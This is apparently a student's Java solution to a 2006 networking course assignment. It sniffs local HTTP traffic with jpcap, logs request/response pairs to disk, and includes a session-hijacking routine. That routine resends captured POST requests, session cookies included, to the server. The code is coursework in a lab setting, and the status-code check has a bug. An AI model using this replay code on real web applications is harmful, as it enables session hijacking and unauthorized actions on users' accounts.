// 20200907 Miray Kas
// 20201238 Sarp Arda Coskun
// Date: 24 Nov 2006, Friday
// Desc: CS 421 Programming Assignment 3
// a sniffer application in Java
// that will capture HTTP traffic originating from your local host machine and will extract
// valuable information from the sniffed traffic. Also for a configured web application
// which will be using HTTP session cookies to track sessions, you are asked to hijack
// sessions originally opened for your web browser and to replay application commands
// sent by your browser.
// Tested on: Windows XP ver. 2002 SP2, IE ver. 6.0 SP2

import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.Socket;
import java.net.URI;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.StringTokenizer;

import jpcap.PacketReceiver;
import jpcap.packet.Packet;
import jpcap.packet.TCPPacket;
import tr.edu.bilkent.cs421.jpcap.wrapper.CaptureEntity;

// Displays a dialog box to get the ID of the capture interface... 
public class Main implements PacketReceiver
{
	// Session hijacking parameters.
	String replay_file_name = "replay-config.txt";
	String app_url = "";
	String session_cookie_name ="";//: The name for the cookies the web server is using to track sessions.
	String req_param_name = ""; //: The name of the request parameter which holds the value of the
								//application command to be performed by the web application on the account.
	String req_param_value ="";//: The name of the application command to be replayed.
	String replay = "";

	// Sniffer parameters.
	ArrayList<HttpPacket> requestList = new ArrayList<HttpPacket>();
	private int packetCount = 0;
	private int pairCount = 0; 
	private int totalPacketCount = 1;

	// Enumaration of successful http response status codes.
	public enum SuccessfulStatusCodes
	{
	    OK(200), CREATED(201), ACCEPTED(202), NON_AUTHORITIVE(203),
	    NO_CONTENT(204), RESET_CONTENT(205), PARTIAL_CONTENT(206),
	    NOT_MODIFIED(304);

	    private final int value;
	    SuccessfulStatusCodes(int value){ this.value = value; }
	    public int value() { return value; }
	}	
	
	public static void main( String[] args ) throws Exception
	{
		// Starts capture session.
		new Main();
	}
	
	private Main() throws IOException
	{
		this.packetCount = 0;

		// If your preferred network card is not on 2.nd place in the list use
		// CaptureEntity cEntity = CaptureEntity.getInstance();
		// in order to learn the list number from the dropdown list.
		CaptureEntity cEntity = CaptureEntity.getInstance(1);
		cEntity.startCaptureSession( this );
	}

	// The sniffer thread started with a call to CaptureEntity.startCaptureSession( PacketReceiver ) 
	public void receivePacket( Packet p )
	{
		if(p instanceof TCPPacket)
		{
			TCPPacket pack = (TCPPacket)p;
			this.packetCount++;

			// Information about the packet received.
			StringBuffer info = new StringBuffer();			
			info.append( this.packetCount );
			info.append( " - Packet received at " );
			info.append( System.currentTimeMillis() );
			info.append( ". Packet details: " );
			info.append( p.toString() );
			System.out.println( info.toString() );
			
			// Gets destination and source IPs and ports
			String destip = pack.dst_ip.toString().substring(1);
			int destport = pack.dst_port;
			int srcport = pack.src_port;
			String srcip = pack.src_ip.toString().substring(1);
			
			// Converts packet data to ASCII chars
			String tcpdata = null;	
			try 
			{
				 tcpdata = new String(p.data,"ASCII");
			} 
			catch (UnsupportedEncodingException e) 
			{
				e.printStackTrace();
			}
			
			// Prints inside of packet
			System.out.println( tcpdata );	
			
			if(tcpdata.startsWith("GET")) 
			{	// Request packet
				
				String metaout ="";
				metaout += "REQUEST ";
				StringTokenizer token = new StringTokenizer(tcpdata.substring(0, tcpdata.indexOf("\n"))," ");
				String method = token.nextToken();
				String url = token.nextToken();
				String http = token.nextToken();
				
				String url2 = "";
				if(url.indexOf("?")!=-1)
				{
					url2 = url.substring(0, url.indexOf("?"));
				}
				else
				{
					url2 = url;
				}
				metaout += http + " " + method + " " + url2 +" " ;
				metaout += srcip  + " " + srcport + " "+ destip + " "+ destport + "\r\n";
				metaout += tcpdata.substring(tcpdata.indexOf("\n"));
				
				if(url.contains("action"))
				{
					metaout += "action = " + url.substring(url.indexOf("action"));
				}
				System.out.println(metaout);
				
				String uri = "http://" + pack.dst_ip + url;

				URI uriObje = null;
				try 
				{
					uriObje = new URI(uri);
					uri = uriObje.getPath().replace('/', '-');
				}
				catch (Exception e1) 
				{
					e1.printStackTrace();
				}

				// Creates the folder with appropriate name.
				String folder_name = System.getProperty("user.dir") + "\\GET_" + destip + "_" + uri + "_" + java.lang.System.currentTimeMillis();
				File folder = new File(folder_name);
				folder.mkdir();

				// Adds the request packet to the requestList.
				requestList.add(new HttpPacket(pack, folder_name));					

				FileOutputStream out = null;
				try 
				{
					out = new FileOutputStream(folder_name + "\\metadata.txt",true);
					DataOutputStream outData = new DataOutputStream(out); 	
					outData.writeBytes(metaout);
					outData.flush();
					outData.close();
				}
				catch (Exception e)
				{
					e.printStackTrace();
				}
			}
			else if(tcpdata.startsWith("POST"))
			{	// Request packet
				if(tcpdata.contains("application/x-www-form-urlencoded") )
				{
					String metaout = "REQUEST ";
					StringTokenizer token = new StringTokenizer(tcpdata.substring(0, tcpdata.indexOf("\n"))," ");
					String method = token.nextToken();
					String url = token.nextToken();
					String http = token.nextToken();
					
					// Session hijacking
					if(tcpdata.contains("Referer:"))
					{
						String referer = tcpdata.substring(tcpdata.indexOf("Referer"));
						app_url = referer.substring(referer.indexOf(" ")+1,referer.indexOf("Accept-Language: "));	
					}

					String sonSatir = tcpdata.substring(tcpdata.lastIndexOf("\r\n"));
					// System.out.println(sonSatir);

					if(tcpdata.contains("Cookie:"))
					{
						String cookie = tcpdata.substring(tcpdata.indexOf("Cookie"));
						session_cookie_name = cookie.substring(cookie.indexOf(" ")+1,cookie.indexOf("="))+"\r\n";	
					}
					if(sonSatir.contains("="))
					{
						req_param_name = sonSatir.substring(2,sonSatir.indexOf("="))+"\r\n";
						req_param_value = sonSatir.substring(sonSatir.indexOf("=")+1)+"\r\n";
					}

					// Session hijacking starts.
					if(tcpdata.contains("Cookie:"))
					{
						String cookie = tcpdata.substring(tcpdata.indexOf("Cookie"));
						session_cookie_name = cookie.substring(cookie.indexOf(" ") + 1,cookie.indexOf("="))+"\r\n";	
					}
					try
					{
						Scanner scanner = new Scanner(new File(System.getProperty("user.dir") + "\\" + replay_file_name));
						scanner.useDelimiter(System.getProperty("line.separator")); 

						String record = null; 
						boolean isReplay = false;						
						while ( scanner.hasNext() )
						{ 
							record = scanner.next();
							if(record.startsWith("app_url"))
							{					
								if(app_url.contains(record.substring(8)))
								{
									isReplay = true;
									System.out.println("***APPURL");
								}
								else
								{
									isReplay = false;
									break;
								}
							}
							else if(record.startsWith("session_cookie_name"))
							{
								if(session_cookie_name.contains(record.substring(20)))
								{
									isReplay = true;
									System.out.println("***SESSION COOKIE");
								}
								else
								{
									isReplay = false;
									break;
								}
							}
							else if(record.startsWith("req_param_name"))
							{
								if(req_param_name.contains(record.substring(15)))
								{
									isReplay = true;
									System.out.println("***REQ PARAM NAME");
								}
								else
							  	{
									isReplay = false;
									break;
							  	}
							}
							else if(record.startsWith("req_param_value"))
							{
								if(req_param_value.contains(record.substring(16)))
							  	{
									isReplay = true;
									System.out.println("***REQ PARAM VALUE");
							  	}
								else
								{
									isReplay = false;
									break;
								}
							}
						}
						scanner.close();
						
						// Correct packet received replay.
						if(isReplay)
						{
							if(!tcpdata.contains("Kokorec123"))
							{
								Socket clientSocket = new Socket(destip,destport);
								DataOutputStream outToServer = new DataOutputStream(clientSocket.getOutputStream());
								String tcpdataReplay = tcpdata.replace("Mozilla", "Kokorec123");
								outToServer.write(tcpdataReplay.getBytes());								
								clientSocket.close();
							}
						}
					} catch (IOException e1)
					{
						e1.printStackTrace();
					}
 		
					// Session hijacking ends.
			
					String url2 = "";
					if(url.indexOf("?")!=-1)
					{
						url2 = url.substring(0, url.indexOf("?"));
					}
					else
					{
						url2 = url;
					}
					metaout += http + " " + method + " " + url2 + " " ;
					metaout += srcip  + " " + srcport + " "+ destip + " "+ destport + "\r\n";
					metaout += tcpdata.substring(tcpdata.indexOf("\n"));
					
					if(url.contains("action"))
					{
						metaout += "action = " + url.substring(url.indexOf("action"));
					}
					
					// Post response is written.
					System.out.println(metaout);
					
					String uri = "http://" + pack.dst_ip + url;

					URI uriObje = null;
					try
					{
						uriObje = new URI(uri);
						uri = uriObje.getPath().replace('/', '-');
					}
					catch (Exception e1)
					{
						e1.printStackTrace();
					}

					// Creates folder with appropriate name.
					String folder_name = System.getProperty("user.dir") + "\\POST_" + destip + "_" + uri + "_" +java.lang.System.currentTimeMillis();		
					File folder = new File(folder_name);
					folder.mkdir();
					
					// Adds the request packet to the requestList.
					requestList.add(new HttpPacket(pack, folder_name));					
					
					FileOutputStream out;					
					try {
						out = new FileOutputStream(folder_name + "\\metadata.txt",true);
						DataOutputStream outData = new DataOutputStream(out); 
						outData.writeBytes(metaout);
						outData.flush();
						outData.close();
					}
					catch (Exception e) {
						e.printStackTrace();
					}	
				}
			}
			else if (tcpdata.startsWith("HEAD"))
			{	// Request packet.
				String metaout ="";
				metaout += "REQUEST ";
				StringTokenizer token = new StringTokenizer(tcpdata.substring(0, tcpdata.indexOf("\n"))," ");
				String method = token.nextToken();
				String url = token.nextToken();
				String http = token.nextToken();
				
				String url2 = "";
				if(url.indexOf("?")!=-1)
				{
					url2 = url.substring(0, url.indexOf("?"));
				}
				else
				{
					url2 = url;
				}
				metaout += http + " " + method + " " + url2 +" " ;
				metaout += srcip  + " " + srcport + " "+ destip + " "+ destport + "\r\n";
				metaout += tcpdata.substring(tcpdata.indexOf("\n"));
				
				if(url.contains("action"))
				{
					metaout += "action = " + url.substring(url.indexOf("action"));
				}
				
				// Respond head written.
				System.out.println(metaout);
				
				String uri = "http://" + pack.dst_ip + url;

				URI uriObje = null;
				try
				{
					uriObje = new URI(uri);
					uri = uriObje.getPath().replace('/', '-');
				}
				catch (Exception e1)
				{
					e1.printStackTrace();
				}

				// Creates folder with appropriate name.
				String folder_name = System.getProperty("user.dir")+ "\\HEAD_" + destip + "_" + uri + "_" + java.lang.System.currentTimeMillis();
				File folder = new File(folder_name);		
				folder.mkdir();

				// Adds the request packet to the requestList.				
				requestList.add(new HttpPacket(pack,folder_name));
				
				FileOutputStream out;
				
				try
				{
					out = new FileOutputStream(folder_name + "\\metadata.txt",true);
					DataOutputStream outData = new DataOutputStream(out); 
					outData.writeBytes(metaout);
					outData.flush();
					outData.close();
				}
				catch (Exception e)
				{
					e.printStackTrace();
				}
			}
			else if (tcpdata.startsWith("HTTP"))
			{	// Response packet.
				int contentLength = 0;
				totalPacketCount = 1;
				if(pairCount < 10)
				{	
					StringTokenizer tok = new StringTokenizer(tcpdata," ");
					String http_version = tok.nextToken();
					int resp_code = Integer.parseInt(tok.nextToken());

					// Gets the content length of the whole data.
					if(tcpdata.contains("Content-Length:"))
					{
						int indexContentLength = tcpdata.indexOf("Content-Length:") + 16;
						String contentLengthS = new String("");
						do
						{
							contentLengthS += tcpdata.charAt(indexContentLength++);
						}while(tcpdata.charAt(indexContentLength)!='\r');
						
						contentLength = Integer.parseInt(contentLengthS);						
					}
					
					// Checks whether the status code is successful.
					boolean isSuccessfulStatusCode = false;
				    for (SuccessfulStatusCodes mySSC : SuccessfulStatusCodes.values()) 
				    {
				        if(resp_code == mySSC.value);   
				        {
				        	isSuccessfulStatusCode = true;
				        	break;
				        }
				    }

				    if(isSuccessfulStatusCode)
				    {
				    	HttpPacket tempPack = new HttpPacket(pack,"");
				    		
						for(int i = 0; i <= requestList.size() - 1; i++)
						{
							boolean isPairTmp = false;
							if(resp_code == SuccessfulStatusCodes.NOT_MODIFIED.value)
								isPairTmp = ((HttpPacket)requestList.get(i)).equal3(tempPack);
							else
								isPairTmp = ((HttpPacket)requestList.get(i)).equal2(tempPack);
							
							if(isPairTmp)
							{
								if(((HttpPacket)requestList.get(i)).isPaired() == false)
								{									
							    	// Response part of the metadata.txt
									String tcpdata_header = "\r\n\r\nRESPONSE ";
									tcpdata_header += http_version + " " + resp_code + " " + 
									pack.src_ip.toString().substring(1) + " " + pack.src_port + " "
									+ pack.dst_ip.toString().substring(1) + " " + pack.dst_port;
							    	
									int split = tcpdata.indexOf("\r\n\r\n");
									
									// Creates data file with starting part of the data packets.
									byte[] tcpdata_data = new byte[pack.data.length - (split + 4)];
									
									for(int k = 0, j = tcpdata.indexOf("\r\n\r\n") + 4 ; k < tcpdata_data.length; k++, j++)
									{
										tcpdata_data[k] = pack.data[j];
									}

									// Checks whether the response consists of more than one packet
									if(contentLength > tcpdata_data.length)
							    	{	// Response has more than one packet.
							    		((HttpPacket)requestList.get(i)).setContentLengthLeft(contentLength);
							    		((HttpPacket)requestList.get(i)).setAckNumRespond((int)tempPack.getAckNum());
							    		tcpdata_header += "PACKET_COUNT";
							    	}
							    	else
							    	{	// Response has more only one packet.
							    		// Correct pair found.
							    		((HttpPacket)requestList.get(i)).setPaired(true);
							    		pairCount++;

							    		//Default number of packets of response.
										tcpdata_header += " " + totalPacketCount;  
							    	}
									
									// Creates the header of response.
									tcpdata_header += tcpdata.substring((tcpdata.indexOf("\r\n")),split);
									
									// Deletes the first packets' data from content length.
									((HttpPacket)requestList.get(i)).setContentLengthLeft(((HttpPacket)requestList.get(i)).getContentLengthLeft()-tcpdata_data.length);
		
									FileOutputStream out,out2;
									try 
									{	
										if(((HttpPacket)requestList.get(i)).isRespMetaAlreadyAdded() == false)
										{
											((HttpPacket)requestList.get(i)).setRespMetaAlreadyAdded(true);
											out = new FileOutputStream(((HttpPacket)requestList.get(i)).getFolder_name()+"\\metadata.txt",true);
											DataOutputStream outData = new DataOutputStream(out); 
											outData.writeBytes(tcpdata_header);
											outData.flush();
											outData.close();
										}
										
										out2 = new FileOutputStream(((HttpPacket)requestList.get(i)).getFolder_name()+ "\\data",true);
										DataOutputStream outData2 = new DataOutputStream(out2); 
										outData2.write(tcpdata_data);
										
										outData2.flush();
										outData2.close();
									}
									catch (Exception e)
									{
										e.printStackTrace();
									}
								}
							}
						}
				    }
				}
				else
				{
					// Number of correct resp/req pairs achieved.
					stopPacketCapture();
					deleteNotPaired(requestList);
					System.exit(0);
				}
			}
			else
			{	// Data packet.
		    	HttpPacket tempPack = new HttpPacket(pack,"");
				for(int i = 0; i <= requestList.size() - 1; i++)
				{						
					if(((HttpPacket)requestList.get(i)).equal1(tempPack))
					{
						if(((HttpPacket)requestList.get(i)).isPaired() == false)
						{																
							byte[] tcpdata_data = new byte[pack.data.length];
							
							for(int k = 0; k < tcpdata_data.length; k++)
							{
								tcpdata_data[k] = pack.data[k];
							}
							
							FileOutputStream out2;
							try {
								out2 = new FileOutputStream(((HttpPacket)requestList.get(i)).getFolder_name()+ "\\data",true);
								DataOutputStream outData2 = new DataOutputStream(out2); 
								outData2.write(tcpdata_data);
								outData2.flush();
								outData2.close();
							}
							catch (Exception e)
							{
								e.printStackTrace();
							}
							
							// Decreases the content length left and increases no of packets of response.
							((HttpPacket)requestList.get(i)).setContentLengthLeft(((HttpPacket)requestList.get(i)).getContentLengthLeft()-pack.data.length);
							totalPacketCount++;
							System.out.println("PART COUNT: " + totalPacketCount);
							
							// Detects that all the response packets are recieved or not.
							if(((HttpPacket)requestList.get(i)).getContentLengthLeft() <= 0)
							{
								try
								{
									Scanner scanner2 = new Scanner(new File(((HttpPacket)requestList.get(i)).getFolder_name()+ "\\metadata.txt"));
									scanner2.useDelimiter(System.getProperty("line.separator")); 
									String record = null;
									String whole = "";
									while ( scanner2.hasNext() )
									{ 
										record = scanner2.next();
										if(record.contains("PACKET_COUNT"))
										{
											record = record.substring(0, record.length() - "PACKET_COUNT".length()) + " " + totalPacketCount;
										}
										whole += record + "\r\n";
									}
									
									scanner2.close();

									FileOutputStream out3 = new FileOutputStream(((HttpPacket)requestList.get(i)).getFolder_name()+ "\\metadata.txt");
									DataOutputStream outData3 = new DataOutputStream(out3); 
									outData3.writeBytes(whole);
									outData3.flush();
									outData3.close();							
								}
								catch (Exception e)
								{
									e.printStackTrace();
								}							

								((HttpPacket)requestList.get(i)).setPaired(true);					
								pairCount++;
								totalPacketCount = 1;
								System.out.println("Total packet count: " + totalPacketCount);
							}							
						}
					}
			    }
			}
		}
	}
	
	// Stops the capture session.
	private void stopPacketCapture()
	{
		try
		{
			CaptureEntity.getInstance().stopCaptureSession();
		}
		catch (IllegalStateException e)
		{
			e.printStackTrace();
		}
		catch (IOException e)
		{
			e.printStackTrace();
		}
	}
	
	// Detects the not paired resp/req folders and remove them.
	private void deleteNotPaired( ArrayList<HttpPacket> requestList)
	{
		for(int i = 0; i < requestList.size(); i++)
		{
			if(requestList.get(i).isPaired() == false)
			{	  
				File dir = new File(requestList.get(i).getFolder_name());
				recursivelyDeleteDirectory(dir);
			}
		}
	}
	
	// Deletes the given file's folder.
	public static void recursivelyDeleteDirectory(File dir)
	{	  
		if ((dir == null) || !dir.isDirectory()) throw new IllegalArgumentException(dir + " not a directory");	  	      
		final File[] files = dir.listFiles();
		final int size = files.length; 
		for (int i = 0; i < size; i++) 
		{
			  if(files[i].isDirectory()) 
			  {
			    recursivelyDeleteDirectory(files[i]);
			  } 
			  else 
			  {
				  files[i].delete();
			  }
		}
		dir.delete();
	}	     
}